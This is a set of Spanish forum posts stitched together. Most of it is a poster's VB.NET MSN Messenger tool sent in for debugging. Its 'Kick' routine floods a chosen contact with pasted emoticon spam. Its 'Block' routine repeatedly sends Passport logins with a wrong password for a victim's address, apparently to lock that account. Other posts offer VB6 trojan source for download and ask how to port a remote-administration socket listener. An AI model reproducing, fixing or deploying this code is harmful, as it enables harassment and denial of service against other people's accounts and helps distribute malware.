Temas

Verán, en VB6 era simple, ponías el Index a 0 y se iba sumando...

Os pongo el código que me importa:

Código [Seleccionar] Expandir

Private Sub sckMain_ConnectionRequest(Index As Integer, ByVal requestID As Long)
On Error Resume Next
TotalIndex = TotalIndex + 1
sckMain(Index).Close
sckMain(Index).Accept requestID
Load sckMain(TotalIndex)
sckMain(TotalIndex).Listen
End Sub
Eso en VB6, que lo que hace es que una vez pida una conexión el servidor, el cliente lo acepte, cargue un nuevo Winsock y lo ponga a la escucha.
Lo utilizo para una aplicación de administración remota.

¿Cómo sería eso en VB.NET???

Esta es la foto:


Uploaded with ImageShack.us

Se tiene que editar para que quede graciosa, animaros todos e intentarlo aunque no sepáis mucho.

-Publicar la imagen y decir cual os gustó más de los demás (Evidentemente no vale decir la tuya xD).

El problema que tengo es que pasé un proyecto de VB6 a .NET y creo que ya solucioné todos los errores, pero me sigue fallando algo por que no hace lo que tiene que hacer.

Tiene que entrar en Hotmail pero el problema es que cuando me conecto y le envío algo a Hotmail este no me responde nada. (Desde DataArrival)

Os dejo el proyecto entero para ver si dais encontrado el error, ya que yo lo estuve intentando mucho tiempo y nada...
http://www.mediafire.com/?zjtzdmmyiyj

Y por seacaso os dejo el código escrito del frmMain:

Código [Seleccionar] Expandir

Option Strict Off
Option Explicit On
Imports VB = Microsoft.VisualBasic
Imports System.Net.Sockets
Imports System.Text

Public Class frmMain
    Public WithEvents MsgrUIA As MessengerAPI.Messenger
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
    Private Declare Function ReleaseCapture Lib "user32" () As Long
    Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

    Private Const WM_SYSCOMMAND = &H112
    Private Const SC_MOVE = &HF010&
    Private Const SC_RESTORE = &HF120&
    Private Const SC_SIZE = &HF000&

    Private Declare Function InitCommonControls Lib "comctl32.dll" () As Long
    Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
    Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
    Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" ( _
                     ByVal hHttpSession As Long, _
                     ByVal sVerb As String, _
                     ByVal sObjectName As String, _
                     ByVal sVersion As String, _
                     ByVal sReferer As String, _
                     ByVal something As Long, _
                     ByVal lFlags As Long, _
                     ByVal lContext As Long) As Long
    Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" ( _
                     ByVal hHttpRequest As Long, _
                     ByVal sHeaders As String, _
                     ByVal lHeadersLength As Long, _
                     ByVal sOptional As String, _
                     ByVal lOptionalLength As Long) As Long
    Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" ( _
                     ByVal hHttpRequest As Long, _
                     ByVal lInfoLevel As Long, _
                     ByRef sBuffer As String, _
                     ByRef lBufferLength As Long, _
                     ByRef lIndex As Long) As Integer
    Private Declare Function InternetCloseHandle Lib "wininet.dll" ( _
                        ByVal hInet As Long) As Integer

    Dim num As Byte
    Dim res As String

    Sub Log(ByVal iLog As String)
        txtLog.Text = txtLog.Text & vbCrLf & iLog
    End Sub

    Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Log("Process initialice")
        cmbType.Text = "MSN Messenger"
        MsgrUIA = New MessengerAPI.Messenger
        Dim user As MessengerAPI.IMessengerContact

        For Each user In MsgrUIA.MyContacts
            If user.Status = MessengerAPI.MISTATUS.MISTATUS_ONLINE Or user.Status = MessengerAPI.MISTATUS.MISTATUS_AWAY Or user.Status = MessengerAPI.MISTATUS.MISTATUS_BE_RIGHT_BACK Or user.Status = MessengerAPI.MISTATUS.MISTATUS_BUSY Or user.Status = MessengerAPI.MISTATUS.MISTATUS_IDLE Or user.Status = MessengerAPI.MISTATUS.MISTATUS_ON_THE_PHONE Or user.Status = MessengerAPI.MISTATUS.MISTATUS_OUT_TO_LUNCH Then
                LB.Items.Add(user.SigninName)
            End If
        Next
    End Sub

    Private Sub cmbType_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmbType.SelectedIndexChanged
        If cmbType.Text = "MSN Messenger" Then
            imgType.Image = ilMain.Images.Item(0)
        Else
            imgType.Image = ilMain.Images.Item(1)
        End If
    End Sub

    Private Sub cmdSearch_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdSearch.Click
        If LB.FindString(txtSearch.Text, 0) <> -1 Or _
        LB.FindString(txtSearch.Text, 0) > LB.Items.Count - 1 Then
            LB.SetSelected(LB.FindString(txtSearch.Text, 0), True)
        Else
        End If
    End Sub

    Private Sub cmdRefresh_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdRefresh.Click
        LB.Items.Clear()
        For Each user In MsgrUIA.MyContacts
            If user.Status = MessengerAPI.MISTATUS.MISTATUS_ONLINE Or user.Status = MessengerAPI.MISTATUS.MISTATUS_AWAY Or user.Status = MessengerAPI.MISTATUS.MISTATUS_BE_RIGHT_BACK Or user.Status = MessengerAPI.MISTATUS.MISTATUS_BUSY Or user.Status = MessengerAPI.MISTATUS.MISTATUS_IDLE Or user.Status = MessengerAPI.MISTATUS.MISTATUS_ON_THE_PHONE Or user.Status = MessengerAPI.MISTATUS.MISTATUS_OUT_TO_LUNCH Then
                LB.Items.Add(user.SigninName)
            End If
        Next
    End Sub

    Private Sub LB_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LB.SelectedIndexChanged
        txtBlock.Text = LB.SelectedItem
        If LB.Text = "" Then
            cmdKick.Enabled = False
        Else
            cmdKick.Enabled = True
        End If
    End Sub

    Private Sub cmdKick_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdKick.Click
        Dim i As Integer
        Dim Window As MessengerAPI.IMessengerConversationWnd
        Dim WshShell
        'Dim ClipString As String

        If chkIcons.CheckState = CheckState.Checked Then
            WshShell = CreateObject("WScript.Shell")
            WshShell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\ShowEmoticons", 0, "REG_BINARY")
        End If

        Window = MsgrUIA.InstantMessage(LB.Text)
        Window.Close()
        Window = MsgrUIA.InstantMessage(LB.Text)

        'ClipString = Clipboard.GetText
        Clipboard.Clear()
        If cmbType.Text = "MSN Messenger" Then
            Clipboard.SetText(":[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[")
        Else
            Clipboard.SetText(":[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:[:")
        End If
        Sleep("50")
        For i = 1 To txtChar.Text
            System.Windows.Forms.SendKeys.Send("^v")
            System.Windows.Forms.SendKeys.Send("{enter}")
        Next i
        'Clipboard.SetText(ClipString)

        If chkIcons.CheckState = CheckState.Checked Then
            WshShell = CreateObject("WScript.Shell")
            WshShell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\ShowEmoticons", 1, "REG_BINARY")
        End If
    End Sub

    Private Sub cmdBlock_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdBlock.Click
        txtBlock.Enabled = False
        Log("txtBlock Disabled")
        WS.Close()
        WS.RemoteHost = "messenger.hotmail.com"
        WS.RemotePort = 1863
        WS.Connect()
        Log("Socket Close" & vbCrLf & "Host = ""messenger.hotmail.com""" & vbCrLf & "Port = 1863" & vbCrLf & "Socket Connected")
    End Sub

    Private Sub tmrGeneral_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrGeneral.Tick
        Dim nuum As Integer
        Log("tmrGeneral Enter (" & nuum & ")")
        nuum = nuum + 1
        tmrGeneral.Enabled = False
        Log("tmrGeneral Disabled (" & nuum & ")")

        If num < 10 Then
            PB.Visible = True
            num = num + 1
            PB.Value = num * 10
        ElseIf num = 10 Then
            num = num + 1
            PB.Visible = False
            lblAbout.Text = txtBlock.Text & " bloqueado"
        End If
        Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
        hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
        hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
        hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
        tmp2 = Split(txtBlock.Text, "@")
        tmp4 = tmp2(0) & "%40" & tmp2(1)
        tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res
        lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0)
        stStatusCode = Space$(1000)
        HttpQueryInfo(hRequest, &H16, stStatusCode, 1000, 0)
        InternetCloseHandle(hopen)
        InternetCloseHandle(hConnection)
        InternetCloseHandle(hRequest)
        Log("h Processed")
        tmrGeneral.Enabled = True
        Log("tmrGeneral Enabled (" & nuum & ")")
    End Sub

    Private Sub WS_ConnectEvent(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles WS.ConnectEvent
        WS.SendData("VER 1 MSNP8 CVR0" & Chr(13) & Chr(10))
        Log("Socket Connected and SendData")
    End Sub

    Private Sub WS_DataArrival1(ByVal sender As Object, ByVal e As AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent) Handles WS.DataArrival
        Dim datos As String = Nothing
        Log("Enter to Arrival")
        WS.GetData(datos)
        Log("GetData ""datos""")

        Select VB.Left(datos, 3)
            Case "VER"
                Log("Case = ""VER""")
                WS.SendData("CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & txtBlock.Text & Chr(13) & Chr(10))
            Case "CVR"
                Log("Case = ""CVR""")
                WS.SendData("USR 3 TWN I " & txtBlock.Text & Chr(13) & Chr(10))
            Case "XFR"
                Log("Case = ""XFR""")
                Dim tmp() As String
                tmp = Split(datos, " ")
                WS.Close()
                WS.RemoteHost = VB.Left(tmp(3), Len(tmp(3)) - 5)
                WS.Connect()
                Log("Connected on " & VB.Left(tmp(3), Len(tmp(3)) - 5))
            Case "USR"
                Log("Case = ""USR""")
                Dim tmp2() As String
                tmp2 = Split(datos, " ")
                res = tmp2(4)
                num = 0
                tmrGeneral.Enabled = True
        End Select
        Log("Exit Cases")
    End Sub

    Private Sub frmMain_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
        If Me.WindowState = FormWindowState.Minimized Then
            Me.Hide()
            Tray.Visible = True
        End If
    End Sub

    Private Sub Tray_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Tray.Click
        Me.Show()
        Tray.Visible = False
    End Sub
End Class

La verdad es que se lo agradecería mucho si alguien fuera tan bueno de encontrar el error ^^.

He estado programando un troyano desde hace un tiempo y para evitar problemas con la "justicia"<--SHIT publico el codigo programado en Visual Basic 6 y que cada uno haga lo que quiera con el, Ya sea modificarlo para mejorarlo o echarle un vistazo para aprender.

Os dejo unas capturas y el enlace para descargarlo.



La descarga:
http://www.mediafire.com/file/ijjgnz3zmht/Error 404.rar